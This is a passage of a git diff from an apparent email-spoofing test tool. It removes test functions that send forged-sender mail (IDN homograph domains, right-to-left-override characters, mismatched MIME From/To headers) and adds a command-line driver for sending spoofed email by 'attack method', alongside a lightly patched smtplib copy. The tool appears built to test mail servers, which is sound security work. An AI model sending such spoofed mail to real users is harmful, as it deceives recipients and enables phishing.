user + ',' + new_mime_to - # MIME TO header can be specified and tested like MIME FROM header - demo.sendMail(to_email, mime_from=user, info=info, to=to) - - -def test_mime_to(user, passwd, smtp_server, receiveUser): - """ - Test whether the smtp server supports MIME TO and RCPT TO inconsistency - :return: - """ - smtp, port = smtp_server.split(":") - demo = SendMailDealer(user, passwd, smtp, port) - to_email = receiveUser - info = u"Test mime to" - domain = user.split('@')[1] - to = 'admin@' + domain - demo.sendMail(to_email, mime_from=user, info=info, to=to) - - -def test_IDN_mime_from_domain(user, passwd, smtp_server, receiveUser): - """ - Test whether the smtp server supports IDN MIME FROM(domain) - """ - smtp, port = smtp_server.split(":") - demo = SendMailDealer(user, passwd, smtp, port) - to_email = receiveUser - info = u"IDN Homograph Attack" - number = "A12" - subject = "[Warning] Maybe you are vulnerable to the A12 attack!" - # username = user.split('@')[0] - mime_from = "admin" + "@xn--80aa1cn6g67a.com" - defense = "You can only display the original address with Punycode character, if a domain label contains characters from multiple different languages." - content = template.format(attack_name=info, number=number, defense=defense) - demo.sendMail(to_email, info=info, mime_from=mime_from, subject=subject, content=content) - - -def test_IDN_mime_from_username(user, passwd, smtp_server, receiveUser): - """ - Test whether the smtp server supports IDN MIME FROM(user) - :return: - """ - smtp, port = smtp_server.split(":") - demo = SendMailDealer(user, passwd, smtp, port) - to_email = receiveUser - info = u"IDN Homograph Attack" - number = "A12" - subject = "[Warning] Maybe you are vulnerable to the A12 attack!" - domain = user.split('@')[1] - mime_from = 'xn--80aa1cn6g67a@' + domain - defense = "You can only display the original address with Punycode character, if a domain label contains characters from multiple different languages." - content = template.format(attack_name=info, number=number, defense=defense) - demo.sendMail(to_email, info=info, mime_from=mime_from, subject=subject, content=content) - - -def test_reverse_mime_from_user(user, passwd, smtp_server, receiveUser): - """ - Test whether the smtp server supports reverse unicode MIME FROM(user) - :return: - """ - smtp, port = smtp_server.split(":") - mime_from = "\u202emoc.qq@\u202d@test.com" - demo = SendMailDealer(user, passwd, smtp, port) - to_email = receiveUser - info = u"Right-to-left Override Attack" - number = "A14" - subject = "[Warning] Maybe you are vulnerable to the %s attack!" % number - defense = 'You should reject emails which contain these special characters in the sender address or add a warning on UI.' - content = template.format(attack_name=info, number=number, defense=defense) - demo.sendMail(to_email, info=info, mime_from=mime_from, subject=subject, content=content) - - -def test_reverse_mime_from_domain(user, passwd, smtp_server, receiveUser): - """ - Test whether the smtp server supports reverse unicode MIME FROM(domain) - :return: - """ - smtp, port = smtp_server.split(":") - mime_from = "test@\u202etest.com\u202d" - demo = SendMailDealer(user, passwd, smtp, port) - to_email = receiveUser - info = u"Right-to-left Override Attack" - number = "A14" - subject = "[Warning] Maybe you are vulnerable to the %s attack!" % number - defense = 'You should reject emails which contain these special characters in the sender address or add a warning on UI.' - content = template.format(attack_name=info, number=number, defense=defense) - demo.sendMail(to_email, info=info, mime_from=mime_from, subject=subject, content=content) - - -if __name__ == '__main__': - """ - Send normal smtp email to receiveUser - :param user: - :param passwd: - :param smtp_server: - :param receiveUser: - :param subject: - :param content: both html and normal text is supported - :param filename: put Mail attachment into uploads folder and specify 'filename' - :param image: if you want to add image into email body, you can put "" in 'content' and specify 'image' like 'filename' - Other parameters like mail_from,mime_from,mime_from1,mime_from2 can be specified if smtp server allow. - :return: - """ - # test_normal(user, passwd, smtp_server, receiveUser, subject, content, mime_from=None, filename=filename, - # mime_from1=None, mime_from2=None, mail_from=None, image=image) - test_mail_mime_attack(user, passwd, smtp_server, receiveUser) - # test_login_mail_attack(user, passwd, smtp_server, receiveUser) - # special_unicode = '\xff' - # test_mail_mime_chars_attack(user, passwd, smtp_server, receiveUser, special_unicode) - # test_multiple_mime_from1(user, passwd, smtp_server, receiveUser) - # test_multiple_mime_from2(user, passwd, smtp_server, receiveUser) - # test_multiple_value_mime_from1(user, passwd, smtp_server, receiveUser) - # test_multiple_value_mime_from2(user, passwd, smtp_server, receiveUser) - # test_multiple_value_mime_to(user, passwd, smtp_server, receiveUser) - # test_mime_to(user, passwd, smtp_server, receiveUser) - # test_IDN_mime_from_domain(user, passwd, smtp_server, receiveUser) - # test_IDN_mime_from_username(user, passwd, smtp_server, receiveUser) - # test_reverse_mime_from_user(user, passwd, smtp_server, receiveUser) - # test_reverse_mime_from_domain(user, passwd, smtp_server, receiveUser) diff --git a/spoofing.py b/spoofing.py new file mode 100644 index 0000000..7e4e7f1 --- /dev/null +++ b/spoofing.py @@ -0,0 +1,83 @@ +from config import * +from core.util import * +import sys +import traceback +import re +from optparse import OptionParser +from core.sender import Sender, Message, prepare_message + + +def parse_options(): + parser = OptionParser() + parser.add_option("-m", "--mode", dest="mode", default="s", choices=['s', 'd'], + help="The attack mode with spoofing email (s: Shared MTA, d: Direct MTA)") + parser.add_option("-t", "--target", dest="target", default="default", help="Select target under attack mode.") + parser.add_option("-a", "--attack", dest='attack', default="default", + help="Select a specific attack method to send spoofing email.") + parser.add_option("--mail_from", dest='mail_from', default=None, + help='Set Mail From address manually. It will overwrite the settings in config.yaml') + parser.add_option("--mime_from", dest='mime_from', default=None, + help='Set Mail From address manually. It will overwrite the settings in config.yaml') + parser.add_option("--mail_to", dest='mail_to', default=None, + help='Set Mail to address manually. It will overwrite the settings in config.yaml') + parser.add_option("--mime_to", dest='mime_to', default=None, + help='Set Mail to address manually. It will overwrite the settings in config.yaml') + + (options, args) = parser.parse_args() + return options + + +def run_error(errmsg): + logger.error(("Usage: python " + sys.argv[0] + " [Options] use -h for help")) + logger.error(("Error: " + errmsg)) + sys.exit() + + + +def run(): + options = parse_options() + # config + config = read_config(CONFIG_PATH) + + if options.mode == "s": + target = config["share_mode"][options.target] + target["mode"] = "share" + mail = Sender(**target) + mail.show_status() + + elif options.mode == 'd': + target = config['direct_mode'][options.target] + target["mode"] = "direct" + mail = Sender(**target) + mail.show_status() + else: + logger.error("Option.mode illegal!{}".format(options.mode)) + sys.exit() + + m = config["attack"][options.attack] + if options.mail_from: + m['mail_from'] = options.mail_from + if options.mail_to: + m['mail_to'] = options.mail_to + if options.mime_from: + m['mime_from'] = options.mime_from + if options.mime_to: + m['to'] = options.mime_to + message = Message(**m) + message = prepare_message(message, mail) + message.show_status() + mail.send(message) + logger.info("All Task Done! :)") + + +def main(): + banner() + try: + run() + except Exception as e: + traceback.print_exc() + run_error(errmsg=str(e)) + + +if __name__ == '__main__': + main() diff --git a/uploads/test.txt b/uploads/test.txt deleted file mode 100755 index 6a537b5..0000000 --- a/uploads/test.txt +++ /dev/null @@ -1 +0,0 @@ -1234567890 \ No newline at end of file diff --git a/util/log.py b/util/log.py deleted file mode 100755 index 99e011d..0000000 --- a/util/log.py +++ /dev/null @@ -1,29 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- -import logging -import coloredlogs - - -def init_log(filename): - """ - :param filename - :return logger - """ - # formattler = '%(asctime)s %(pathname)-8s:%(lineno)d %(levelname)-8s %(message)s' - formattler = '%(levelname)-8s %(message)s' - fmt = logging.Formatter(formattler) - logger = logging.getLogger() - coloredlogs.install(level=logging.DEBUG, fmt=formattler) - file_handler = logging.FileHandler(filename) - file_handler.setLevel(logging.DEBUG) - file_handler.setFormatter(fmt) - logger.addHandler(file_handler) - try: - logging.getLogger("scapy").setLevel(logging.WARNING) - logging.getLogger("matplotlib").setLevel(logging.WARNING) - except Exception as e: - pass - return logger - - - diff --git a/util/smtplib.py b/util/smtplib.py deleted file mode 100755 index 00f25ca..0000000 --- a/util/smtplib.py +++ /dev/null @@ -1,1147 +0,0 @@ -#! /usr/bin/env python3 - -'''SMTP/ESMTP client class. - -This should follow RFC 821 (SMTP), RFC 1869 (ESMTP), RFC 2554 (SMTP -Authentication) and RFC 2487 (Secure SMTP over TLS). - -Notes: - -Please remember, when doing ESMTP, that the names of the SMTP service -extensions are NOT the same thing as the option keywords for the RCPT -and MAIL commands! - -Example: - - >>> from util import smtplib - >>> s=smtplib.SMTP("localhost") - >>> print(s.help()) - This is Sendmail version 8.8.4 - Topics: - HELO EHLO MAIL RCPT DATA - RSET NOOP QUIT HELP VRFY - EXPN VERB ETRN DSN - For more info use "HELP ". - To report bugs in the implementation send email to - sendmail-bugs@sendmail.org. - For local information send email to Postmaster at your site. - End of HELP info - >>> s.putcmd("vrfy","someone@here") - >>> s.getreply() - (250, "Somebody OverHere ") - >>> s.quit() -''' - -# Author: The Dragon De Monsyne -# ESMTP support, test code and doc fixes added by -# Eric S. Raymond -# Better RFC 821 compliance (MAIL and RCPT, and CRLF in data) -# by Carey Evans , for picky mail servers. -# RFC 2554 (authentication) support by Gerhard Haering . -# -# This was modified from the Python 1.5 library HTTP lib. - -import socket -import io -import re -import email.utils -import email.message -import email.generator -import base64 -import hmac -import copy -import datetime -import sys -from email.base64mime import body_encode as encode_base64 - -__all__ = ["SMTPException", "SMTPServerDisconnected", "SMTPResponseException", - "SMTPSenderRefused", "SMTPRecipientsRefused", "SMTPDataError", - "SMTPConnectError", "SMTPHeloError", "SMTPAuthenticationError", - "quoteaddr", "quotedata", "SMTP"] - -SMTP_PORT = 25 -SMTP_SSL_PORT = 465 -CRLF = "\r\n" -bCRLF = b"\r\n" -_MAXLINE = 8192 # more than 8 times larger than RFC 821, 4.5.3 - -OLDSTYLE_AUTH = re.compile(r"auth=(.*)", re.I) - - -# Exception classes used by this module. -class SMTPException(OSError): - """Base class for all exceptions raised by this module.""" - - -class SMTPNotSupportedError(SMTPException): - """The command or option is not supported by the SMTP server. - - This exception is raised when an attempt is made to run a command or a - command with an option which is not supported by the server. - """ - - -class SMTPServerDisconnected(SMTPException): - """Not connected to any SMTP server. - - This exception is raised when the server unexpectedly disconnects, - or when an attempt is made to use the SMTP instance before - connecting it to a server. - """ - - -class SMTPResponseException(SMTPException): - """Base class for all exceptions that include an SMTP error code. - - These exceptions are generated in some instances when the SMTP - server returns an error code. The error code is stored in the - `smtp_code' attribute of the error, and the `smtp_error' attribute - is set to the error message. - """ - - def __init__(self, code, msg): - self.smtp_code = code - self.smtp_error = msg - self.args = (code, msg) - - -class SMTPSenderRefused(SMTPResponseException): - """Sender address refused. - - In addition to the attributes set by on all SMTPResponseException - exceptions, this sets `sender' to the string that the SMTP refused. - """ - - def __init__(self, code, msg, sender): - self.smtp_code = code - self.smtp_error = msg - self.sender = sender - self.args = (code, msg, sender) - - -class SMTPRecipientsRefused(SMTPException): - """All recipient addresses refused. - - The errors for each recipient are accessible through the attribute - 'recipients', which is a dictionary of exactly the same sort as - SMTP.sendmail() returns. - """ - - def __init__(self, recipients): - self.recipients = recipients - self.args = (recipients,) - - -class SMTPDataError(SMTPResponseException): - """The SMTP server didn't accept the data.""" - - -class SMTPConnectError(SMTPResponseException): - """Error during connection establishment.""" - - -class SMTPHeloError(SMTPResponseException): - """The server refused our HELO reply.""" - - -class SMTPAuthenticationError(SMTPResponseException): - """Authentication error. - - Most probably the server didn't accept the username/password - combination provided. - """ - - -def quoteaddr(addrstring): - """Quote a subset of the email addresses defined by RFC 821. - - Should be able to handle anything email.utils.parseaddr can handle. - """ - displayname, addr = email.utils.parseaddr(addrstring) - if (displayname, addr) == ('', ''): - # parseaddr couldn't parse it, use it as is and hope for the best. - if addrstring.strip().startswith('<'): - return addrstring - return "<%s>" % addrstring - return "<%s>" % addr - - -def _addr_only(addrstring): - displayname, addr = email.utils.parseaddr(addrstring) - if (displayname, addr) == ('', ''): - # parseaddr couldn't parse it, so use it as is. - return addrstring - return addr - - -# Legacy method kept for backward compatibility. -def quotedata(data): - """Quote data for email. - - Double leading '.', and change Unix newline '\\n', or Mac '\\r' into - Internet CRLF end-of-line. - """ - return re.sub(r'(?m)^\.', '..', - re.sub(r'(?:\r\n|\n|\r(?!\n))', CRLF, data)) - - -def _quote_periods(bindata): - return re.sub(br'(?m)^\.', b'..', bindata) - - -def _fix_eols(data): - return re.sub(r'(?:\r\n|\n|\r(?!\n))', CRLF, data) - - -try: - import ssl -except ImportError: - _have_ssl = False -else: - _have_ssl = True - - -class SMTP: - """This class manages a connection to an SMTP or ESMTP server. - SMTP Objects: - SMTP objects have the following attributes: - helo_resp - This is the message given by the server in response to the - most recent HELO command. - - ehlo_resp - This is the message given by the server in response to the - most recent EHLO command. This is usually multiline. - - does_esmtp - This is a True value _after you do an EHLO command_, if the - server supports ESMTP. - - esmtp_features - This is a dictionary, which, if the server supports ESMTP, - will _after you do an EHLO command_, contain the names of the - SMTP service extensions this server supports, and their - parameters (if any). - - Note, all extension names are mapped to lower case in the - dictionary. - - See each method's docstrings for details. In general, there is a - method of the same name to perform each SMTP command. There is also a - method called 'sendmail' that will do an entire mail transaction. - """ - debuglevel = 0 - file = None - helo_resp = None - ehlo_msg = "ehlo" - ehlo_resp = None - does_esmtp = 0 - default_port = SMTP_PORT - - def __init__(self, host='', port=0, local_hostname=None, - timeout=socket._GLOBAL_DEFAULT_TIMEOUT, - source_address=None): - """Initialize a new instance. - - If specified, `host' is the name of the remote host to which to - connect. If specified, `port' specifies the port to which to connect. - By default, smtplib.SMTP_PORT is used. If a host is specified the - connect method is called, and if it returns anything other than a - success code an SMTPConnectError is raised. If specified, - `local_hostname` is used as the FQDN of the local host in the HELO/EHLO - command. Otherwise, the local hostname is found using - socket.getfqdn(). The `source_address` parameter takes a 2-tuple (host, - port) for the socket to bind to as its source address before - connecting. If the host is '' and port is 0, the OS default behavior - will be used. - - """ - self._host = host - self.timeout = timeout - self.esmtp_features = {} - self.command_encoding = 'ascii' - self.source_address = source_address - - if host: - (code, msg) = self.connect(host, port) - if code != 220: - self.close() - raise SMTPConnectError(code, msg) - if local_hostname is not None: - self.local_hostname = local_hostname - else: - # RFC 2821 says we should use the fqdn in the EHLO/HELO verb, and - # if that can't be calculated, that we should use a domain literal - # instead (essentially an encoded IP address like [A.B.C.D]). - fqdn = socket.getfqdn() - if '.' in fqdn: - self.local_hostname = fqdn - else: - # We can't find an fqdn hostname, so use a domain literal - addr = '127.0.0.1' - try: - addr = socket.gethostbyname(socket.gethostname()) - except socket.gaierror: - pass - self.local_hostname = '[%s]' % addr - - def __enter__(self): - return self - - def __exit__(self, *args): - try: - code, message = self.docmd("QUIT") - if code != 221: - raise SMTPResponseException(code, message) - except SMTPServerDisconnected: - pass - finally: - self.close() - - def set_debuglevel(self, debuglevel): - """Set the debug output level. - - A non-false value results in debug messages for connection and for all - messages sent to and received from the server. - - """ - self.debuglevel = debuglevel - - def _print_debug(self, *args): - if self.debuglevel > 1: - print(datetime.datetime.now().time(), *args, file=sys.stderr) - else: - print(*args, file=sys.stderr) - - def _get_socket(self, host, port, timeout): - # This makes it simpler for SMTP_SSL to use the SMTP connect code - # and just alter the socket connection bit. - if self.debuglevel > 0: - self._print_debug('connect: to', (host, port), self.source_address) - return socket.create_connection((host, port), timeout, - self.source_address) - - def connect(self, host='localhost', port=0, source_address=None): - """Connect to a host on a given port. - - If the hostname ends with a colon (`:') followed by a number, and - there is no port specified, that suffix will be stripped off and the - number interpreted as the port number to use. - - Note: This method is automatically invoked by __init__, if a host is - specified during instantiation. - - """ - - if source_address: - self.source_address = source_address - - if not port and (host.find(':') == host.rfind(':')): - i = host.rfind(':') - if i >= 0: - host, port = host[:i], host[i + 1:] - try: - port = int(port) - except ValueError: - raise OSError("nonnumeric port") - if not port: - port = self.default_port - if self.debuglevel > 0: - self._print_debug('connect:', (host, port)) - self.sock = self._get_socket(host, port, self.timeout) - self.file = None - (code, msg) = self.getreply() - if self.debuglevel > 0: - self._print_debug('connect:', repr(msg)) - return (code, msg) - - def send(self, s): - """Send `s' to the server.""" - if self.debuglevel > 0: - self._print_debug('send:', repr(s)) - if hasattr(self, 'sock') and self.sock: - if isinstance(s, str): - # send is used by the 'data' command, where command_encoding - # should not be used, but 'data' needs to convert the string to - # binary itself anyway, so that's not a problem. - # patch for fuzzing @moxiaoxi - try: - s = s.encode(self.command_encoding) - except Exception as e: - s = s.encode('latin-1') - # patch end - try: - self.sock.sendall(s) - except OSError: - self.close() - raise SMTPServerDisconnected('Server not connected') - else: - raise SMTPServerDisconnected('please run connect() first') - - def putcmd(self, cmd, args=""): - """Send a command to the server.""" - if args == "": - str = '%s%s' % (cmd, CRLF) - else: - str = '%s %s%s' % (cmd, args, CRLF) - self.send(str) - - def getreply(self): - """Get a reply from the server. - - Returns a tuple consisting of: - - - server response code (e.g. '250', or such, if all goes well) - Note: returns -1 if it can't read response code. - - - server response string corresponding to response code (multiline - responses are converted to a single, multiline string). - - Raises SMTPServerDisconnected if end-of-file is reached. - """ - resp = [] - if self.file is None: - self.file = self.sock.makefile('rb') - while 1: - try: - line = self.file.readline(_MAXLINE + 1) - except OSError as e: - self.close() - raise SMTPServerDisconnected("Connection unexpectedly closed: " - + str(e)) - if not line: - self.close() - raise SMTPServerDisconnected("Connection unexpectedly closed") - if self.debuglevel > 0: - self._print_debug('reply:', repr(line)) - if len(line) > _MAXLINE: - self.close() - raise SMTPResponseException(500, "Line too long.") - resp.append(line[4:].strip(b' \t\r\n')) - code = line[:3] - # Check that the error code is syntactically correct. - # Don't attempt to read a continuation line if it is broken. - try: - errcode = int(code) - except ValueError: - errcode = -1 - break - # Check if multiline response. - if line[3:4] != b"-": - break - - errmsg = b"\n".join(resp) - if self.debuglevel > 0: - self._print_debug('reply: retcode (%s); Msg: %a' % (errcode, errmsg)) - return errcode, errmsg - - def docmd(self, cmd, args=""): - """Send a command, and return its response code.""" - self.putcmd(cmd, args) - return self.getreply() - - # std smtp commands - def helo(self, name=''): - """SMTP 'helo' command. - Hostname to send for this command defaults to the FQDN of the local - host. - """ - self.putcmd("helo", name or self.local_hostname) - (code, msg) = self.getreply() - self.helo_resp = msg - return (code, msg) - - def ehlo(self, name=''): - """ SMTP 'ehlo' command. - Hostname to send for this command defaults to the FQDN of the local - host. - """ - self.esmtp_features = {} - self.putcmd(self.ehlo_msg, name or self.local_hostname) - (code, msg) = self.getreply() - # According to RFC1869 some (badly written) - # MTA's will disconnect on an ehlo. Toss an exception if - # that happens -ddm - if code == -1 and len(msg) == 0: - self.close() - raise SMTPServerDisconnected("Server not connected") - self.ehlo_resp = msg - if code != 250: - return (code, msg) - self.does_esmtp = 1 - # parse the ehlo response -ddm - assert isinstance(self.ehlo_resp, bytes), repr(self.ehlo_resp) - resp = self.ehlo_resp.decode("latin-1").split('\n') - del resp[0] - for each in resp: - # To be able to communicate with as many SMTP servers as possible, - # we have to take the old-style auth advertisement into account, - # because: - # 1) Else our SMTP feature parser gets confused. - # 2) There are some servers that only advertise the auth methods we - # support using the old style. - auth_match = OLDSTYLE_AUTH.match(each) - if auth_match: - # This doesn't remove duplicates, but that's no problem - self.esmtp_features["auth"] = self.esmtp_features.get("auth", "") \ - + " " + auth_match.groups(0)[0] - continue - - # RFC 1869 requires a space between ehlo keyword and parameters. - # It's actually stricter, in that only spaces are allowed between - # parameters, but were not going to check for that here. Note - # that the space isn't present if there are no parameters. - m = re.match(r'(?P[A-Za-z0-9][A-Za-z0-9\-]*) ?', each) - if m: - feature = m.group("feature").lower() - params = m.string[m.end("feature"):].strip() - if feature == "auth": - self.esmtp_features[feature] = self.esmtp_features.get(feature, "") \ - + " " + params - else: - self.esmtp_features[feature] = params - return (code, msg) - - def has_extn(self, opt): - """Does the server support a given SMTP service extension?""" - return opt.lower() in self.esmtp_features - - def help(self, args=''): - """SMTP 'help' command. - Returns help text from server.""" - self.putcmd("help", args) - return self.getreply()[1] - - def rset(self): - """SMTP 'rset' command -- resets session.""" - self.command_encoding = 'ascii' - return self.docmd("rset") - - def _rset(self): - """Internal 'rset' command which ignores any SMTPServerDisconnected error. - - Used internally in the library, since the server disconnected error - should appear to the application when the *next* command is issued, if - we are doing an internal "safety" reset. - """ - try: - self.rset() - except SMTPServerDisconnected: - pass - - def noop(self): - """SMTP 'noop' command -- doesn't do anything :>""" - return self.docmd("noop") - - def mail(self, sender, options=[]): - """SMTP 'mail' command -- begins mail xfer session. - - This method may raise the following exceptions: - - SMTPNotSupportedError The options parameter includes 'SMTPUTF8' - but the SMTPUTF8 extension is not supported by - the server. - """ - optionlist = '' - if options and self.does_esmtp: - if any(x.lower() == 'smtputf8' for x in options): - if self.has_extn('smtputf8'): - self.command_encoding = 'utf-8' - else: - raise SMTPNotSupportedError( - 'SMTPUTF8 not supported by server') - optionlist = ' ' + ' '.join(options) - self.putcmd("mail", "FROM:%s%s" % (quoteaddr(sender), optionlist)) - return self.getreply() - - def rcpt(self, recip, options=[]): - """SMTP 'rcpt' command -- indicates 1 recipient for this mail.""" - optionlist = '' - if options and self.does_esmtp: - optionlist = ' ' + ' '.join(options) - self.putcmd("rcpt", "TO:%s%s" % (quoteaddr(recip), optionlist)) - return self.getreply() - - def data(self, msg): - """SMTP 'DATA' command -- sends message data to server. - - Automatically quotes lines beginning with a period per rfc821. - Raises SMTPDataError if there is an unexpected reply to the - DATA command; the return value from this method is the final - response code received when the all data is sent. If msg - is a string, lone '\\r' and '\\n' characters are converted to - '\\r\\n' characters. If msg is bytes, it is transmitted as is. - """ - self.putcmd("data") - (code, repl) = self.getreply() - if self.debuglevel > 0: - self._print_debug('data:', (code, repl)) - if code != 354: - raise SMTPDataError(code, repl) - else: - if isinstance(msg, str): - msg = _fix_eols(msg).encode('ascii') - q = _quote_periods(msg) - if q[-2:] != bCRLF: - q = q + bCRLF - q = q + b"." + bCRLF - self.send(q) - (code, msg) = self.getreply() - if self.debuglevel > 0: - self._print_debug('data:', (code, msg)) - return (code, msg) - - def verify(self, address): - """SMTP 'verify' command -- checks for address validity.""" - self.putcmd("vrfy", _addr_only(address)) - return self.getreply() - - # a.k.a. - vrfy = verify - - def expn(self, address): - """SMTP 'expn' command -- expands a mailing list.""" - self.putcmd("expn", _addr_only(address)) - return self.getreply() - - # some useful methods - - def ehlo_or_helo_if_needed(self): - """Call self.ehlo() and/or self.helo() if needed. - - If there has been no previous EHLO or HELO command this session, this - method tries ESMTP EHLO first. - - This method may raise the following exceptions: - - SMTPHeloError The server didn't reply properly to - the helo greeting. - """ - if self.helo_resp is None and self.ehlo_resp is None: - if not (200 <= self.ehlo()[0] <= 299): - (code, resp) = self.helo() - if not (200 <= code <= 299): - raise SMTPHeloError(code, resp) - - def auth(self, mechanism, authobject, *, initial_response_ok=True): - """Authentication command - requires response processing. - - 'mechanism' specifies which authentication mechanism is to - be used - the valid values are those listed in the 'auth' - element of 'esmtp_features'. - - 'authobject' must be a callable object taking a single argument: - - data = authobject(challenge) - - It will be called to process the server's challenge response; the - challenge argument it is passed will be a bytes. It should return - bytes data that will be base64 encoded and sent to the server. - - Keyword arguments: - - initial_response_ok: Allow sending the RFC 4954 initial-response - to the AUTH command, if the authentication methods supports it. - """ - # RFC 4954 allows auth methods to provide an initial response. Not all - # methods support it. By definition, if they return something other - # than None when challenge is None, then they do. See issue #15014. - mechanism = mechanism.upper() - initial_response = (authobject() if initial_response_ok else None) - if initial_response is not None: - response = encode_base64(initial_response.encode('ascii'), eol='') - (code, resp) = self.docmd("AUTH", mechanism + " " + response) - else: - (code, resp) = self.docmd("AUTH", mechanism) - # If server responds with a challenge, send the response. - if code == 334: - challenge = base64.decodebytes(resp) - response = encode_base64( - authobject(challenge).encode('ascii'), eol='') - (code, resp) = self.docmd(response) - if code in (235, 503): - return (code, resp) - raise SMTPAuthenticationError(code, resp) - - def auth_cram_md5(self, challenge=None): - """ Authobject to use with CRAM-MD5 authentication. Requires self.user - and self.password to be set.""" - # CRAM-MD5 does not support initial-response. - if challenge is None: - return None - return self.user + " " + hmac.HMAC( - self.password.encode('ascii'), challenge, 'md5').hexdigest() - - def auth_plain(self, challenge=None): - """ Authobject to use with PLAIN authentication. Requires self.user and - self.password to be set.""" - return "\0%s\0%s" % (self.user, self.password) - - def auth_login(self, challenge=None): - """ Authobject to use with LOGIN authentication. Requires self.user and - self.password to be set.""" - if challenge is None: - return self.user - else: - return self.password - - def login(self, user, password, *, initial_response_ok=True): - """Log in on an SMTP server that requires authentication. - - The arguments are: - - user: The user name to authenticate with. - - password: The password for the authentication. - - Keyword arguments: - - initial_response_ok: Allow sending the RFC 4954 initial-response - to the AUTH command, if the authentication methods supports it. - - If there has been no previous EHLO or HELO command this session, this - method tries ESMTP EHLO first. - - This method will return normally if the authentication was successful. - - This method may raise the following exceptions: - - SMTPHeloError The server didn't reply properly to - the helo greeting. - SMTPAuthenticationError The server didn't accept the username/ - password combination. - SMTPNotSupportedError The AUTH command is not supported by the - server. - SMTPException No suitable authentication method was - found. - """ - - self.ehlo_or_helo_if_needed() - if not self.has_extn("auth"): - raise SMTPNotSupportedError( - "SMTP AUTH extension not supported by server.") - - # Authentication methods the server claims to support - advertised_authlist = self.esmtp_features["auth"].split() - - # Authentication methods we can handle in our preferred order: - preferred_auths = ['CRAM-MD5', 'PLAIN', 'LOGIN'] - - # We try the supported authentications in our preferred order, if - # the server supports them. - authlist = [auth for auth in preferred_auths - if auth in advertised_authlist] - if not authlist: - raise SMTPException("No suitable authentication method found.") - - # Some servers advertise authentication methods they don't really - # support, so if authentication fails, we continue until we've tried - # all methods. - self.user, self.password = user, password - for authmethod in authlist: - method_name = 'auth_' + authmethod.lower().replace('-', '_') - try: - (code, resp) = self.auth( - authmethod, getattr(self, method_name), - initial_response_ok=initial_response_ok) - # 235 == 'Authentication successful' - # 503 == 'Error: already authenticated' - if code in (235, 503): - return (code, resp) - except SMTPAuthenticationError as e: - last_exception = e - - # We could not login successfully. Return result of last attempt. - raise last_exception - - def starttls(self, keyfile=None, certfile=None, context=None): - """Puts the connection to the SMTP server into TLS mode. - - If there has been no previous EHLO or HELO command this session, this - method tries ESMTP EHLO first. - - If the server supports TLS, this will encrypt the rest of the SMTP - session. If you provide the keyfile and certfile parameters, - the identity of the SMTP server and client can be checked. This, - however, depends on whether the socket module really checks the - certificates. - - This method may raise the following exceptions: - - SMTPHeloError The server didn't reply properly to - the helo greeting. - """ - self.ehlo_or_helo_if_needed() - if not self.has_extn("starttls"): - raise SMTPNotSupportedError( - "STARTTLS extension not supported by server.") - (resp, reply) = self.docmd("STARTTLS") - if resp == 220: - if not _have_ssl: - raise RuntimeError("No SSL support included in this Python") - if context is not None and keyfile is not None: - raise ValueError("context and keyfile arguments are mutually " - "exclusive") - if context is not None and certfile is not None: - raise ValueError("context and certfile arguments are mutually " - "exclusive") - if keyfile is not None or certfile is not None: - import warnings - warnings.warn("keyfile and certfile are deprecated, use a" - "custom context instead", DeprecationWarning, 2) - if context is None: - context = ssl._create_stdlib_context(certfile=certfile, - keyfile=keyfile) - self.sock = context.wrap_socket(self.sock, - server_hostname=self._host) - self.file = None - # RFC 3207: - # The client MUST discard any knowledge obtained from - # the server, such as the list of SMTP service extensions, - # which was not obtained from the TLS negotiation itself. - self.helo_resp = None - self.ehlo_resp = None - self.esmtp_features = {} - self.does_esmtp = 0 - else: - # RFC 3207: - # 501 Syntax error (no parameters allowed) - # 454 TLS not available due to temporary reason - raise SMTPResponseException(resp, reply) - return (resp, reply) - - def sendmail(self, from_addr, to_addrs, msg, mail_options=[], - rcpt_options=[]): - """This command performs an entire mail transaction. - - The arguments are: - - from_addr : The address sending this mail. - - to_addrs : A list of addresses to send this mail to. A bare - string will be treated as a list with 1 address. - - msg : The message to send. - - mail_options : List of ESMTP options (such as 8bitmime) for the - mail command. - - rcpt_options : List of ESMTP options (such as DSN commands) for - all the rcpt commands. - - msg may be a string containing characters in the ASCII range, or a byte - string. A string is encoded to bytes using the ascii codec, and lone - \\r and \\n characters are converted to \\r\\n characters. - - If there has been no previous EHLO or HELO command this session, this - method tries ESMTP EHLO first. If the server does ESMTP, message size - and each of the specified options will be passed to it. If EHLO - fails, HELO will be tried and ESMTP options suppressed. - - This method will return normally if the mail is accepted for at least - one recipient. It returns a dictionary, with one entry for each - recipient that was refused. Each entry contains a tuple of the SMTP - error code and the accompanying error message sent by the server. - - This method may raise the following exceptions: - - SMTPHeloError The server didn't reply properly to - the helo greeting. - SMTPRecipientsRefused The server rejected ALL recipients - (no mail was sent). - SMTPSenderRefused The server didn't accept the from_addr. - SMTPDataError The server replied with an unexpected - error code (other than a refusal of - a recipient). - SMTPNotSupportedError The mail_options parameter includes 'SMTPUTF8' - but the SMTPUTF8 extension is not supported by - the server. - - Note: the connection will be open even after an exception is raised. - - Example: - - >>> from util import smtplib - >>> s=smtplib.SMTP("localhost") - >>> tolist=["one@one.org","two@two.org","three@three.org","four@four.org"] - >>> msg = '''\\ - ... From: Me@my.org - ... Subject: testin'... - ... - ... This is a test ''' - >>> s.sendmail("me@my.org",tolist,msg) - { "three@three.org" : ( 550 ,"User unknown" ) } - >>> s.quit() - - In the above example, the message was accepted for delivery to three - of the four addresses, and one was rejected, with the error code - 550. If all addresses are accepted, then the method will return an - empty dictionary. - - """ - self.ehlo_or_helo_if_needed() - esmtp_opts = [] - if isinstance(msg, str): - # patch fuzz @moxiaoxi - try: - msg = _fix_eols(msg).encode('ascii') - except Exception as e: - msg = _fix_eols(msg).encode('latin-1') - - # patch end - if self.does_esmtp: - if self.has_extn('size'): - esmtp_opts.append("size=%d" % len(msg)) - for option in mail_options: - esmtp_opts.append(option) - (code, resp) = self.mail(from_addr, esmtp_opts) - if code != 250: - if code == 421: - self.close() - else: - self._rset() - raise SMTPSenderRefused(code, resp, from_addr) - senderrs = {} - if isinstance(to_addrs, str): - to_addrs = [to_addrs] - for each in to_addrs: - (code, resp) = self.rcpt(each, rcpt_options) - if (code != 250) and (code != 251): - senderrs[each] = (code, resp) - if code == 421: - self.close() - raise SMTPRecipientsRefused(senderrs) - if len(senderrs) == len(to_addrs): - # the server refused all our recipients - self._rset() - raise SMTPRecipientsRefused(senderrs) - (code, resp) = self.data(msg) - if code != 250: - if code == 421: - self.close() - else: - self._rset() - raise SMTPDataError(code, resp) - # if we got here then somebody got our mail - return 